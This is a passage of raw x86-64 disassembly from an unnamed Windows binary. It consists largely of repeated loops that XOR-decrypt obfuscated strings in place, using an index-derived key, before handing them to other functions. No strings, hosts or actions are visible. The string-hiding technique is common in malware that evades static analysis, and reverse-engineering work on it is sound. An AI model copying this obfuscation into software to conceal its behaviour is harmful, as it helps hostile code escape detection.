paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140019e30
cmp r8d, 0x21
jge 0x140019f60
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140019f30
mov rdx, r10
lea rcx, [rbp + 0x1618]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x15f8]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x58b0]
lea rcx, [rbp - 0x3f]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001a0f0
mov r8d, esi
cmp r14d, 2
jl 0x14001a0ab
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140019fc0
cmp r8d, 0x27
jge 0x14001a0f0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001a0c0
mov rdx, r10
lea rcx, [rbp + 0x1658]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x1678]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1638]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014800
nop
lea rcx, [rbp + 0x1678]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1658]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1618]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x15d8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x15b8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1578]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x1558]
call fcn.1400079a0
lea rax, [rbp + 0x498]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x498]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x5bf0]
lea rcx, [rbp - 0x3e]
call fcn.14002d4e0
mov r10, rax
cmp word [rax + 0x30], 0
je 0x14001a4a4
mov r8d, esi
cmp r14d, 2
jl 0x14001a45a
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
movdqa xmm3, xmmword [0x14029dc90]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x28]
xorps xmm3, xmm0
movq qword [rax + 0x28], xmm3
mov r8d, Ordinal_26
mov eax, r8d
lea r9, [r10 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x19
jl 0x14001a470
mov rdx, r10
lea rcx, [rbp + 0x1698]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x16b8]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
mov r15, rax
lea rax, [rbp + 0x16d8]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x9d8]
lea rcx, [rbp - 0x3d]
call fcn.14002d4b0
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14001a7b0
mov r8d, esi
cmp r14d, 2
jl 0x14001a777
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x14029dc90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r8d, Ordinal_26
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14001a780
mov rdx, r10
lea rcx, [rbp + 0x16f8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x1718]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x16d8]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x1738]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5298]
lea rcx, [rbp - 0x3c]
call fcn.14002d480
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001a960
mov r8d, esi
cmp r14d, 2
jl 0x14001a91b
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001a830
cmp r8d, 0x21
jge 0x14001a960
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001a930
mov rdx, r10
lea rcx, [rbp + 0x1758]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1738]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x5888]
lea rcx, [rbp - 0x3b]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001aaf0
mov r8d, esi
cmp r14d, 2
jl 0x14001aaab
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001a9c0
cmp r8d, 0x27
jge 0x14001aaf0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001aac0
mov rdx, r10
lea rcx, [rbp + 0x1798]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x17b8]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1778]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014800
nop
lea rcx, [rbp + 0x17b8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1798]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1758]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1718]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x16f8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x16b8]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x1698]
call fcn.1400079a0
lea rax, [rbp + 0x4b0]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x4b0]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x5fe0]
lea rcx, [rbp - 0x3a]
call fcn.14002d570
mov r10, rax
cmp word [rax + 0x3a], 0
je 0x14001ad24
mov r8d, esi
cmp r14d, 2
jl 0x14001ace3
mov rcx, rax
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x14001abf0
cmp r8d, 0x1e
jge 0x14001ad24
movsxd rax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1e
jl 0x14001acf0
mov rdx, r10
lea rcx, [rbp + 0x17d8]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x17f8]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
mov r15, rax
lea rax, [rbp + 0x1818]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0xb18]
lea rcx, [rbp - 0x39]
call fcn.14002d540
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x14001aed0
mov r8d, esi
cmp r14d, 2
jl 0x14001ae8b
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14001ada0
cmp r8d, 0x1e
jge 0x14001aed0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x14001aea0
mov rdx, r10
lea rcx, [rbp + 0x1838]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x1858]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1818]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x1878]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5540]
lea rcx, [rbp - 0x38]
call fcn.14002d510
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001b080
mov r8d, esi
cmp r14d, 2
jl 0x14001b03b
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001af50
cmp r8d, 0x21
jge 0x14001b080
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001b050
mov rdx, r10
lea rcx, [rbp + 0x1898]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1878]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x5860]
lea rcx, [rbp - 0x37]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001b210
mov r8d, esi
cmp r14d, 2
jl 0x14001b1cb
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001b0e0
cmp r8d, 0x27
jge 0x14001b210
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
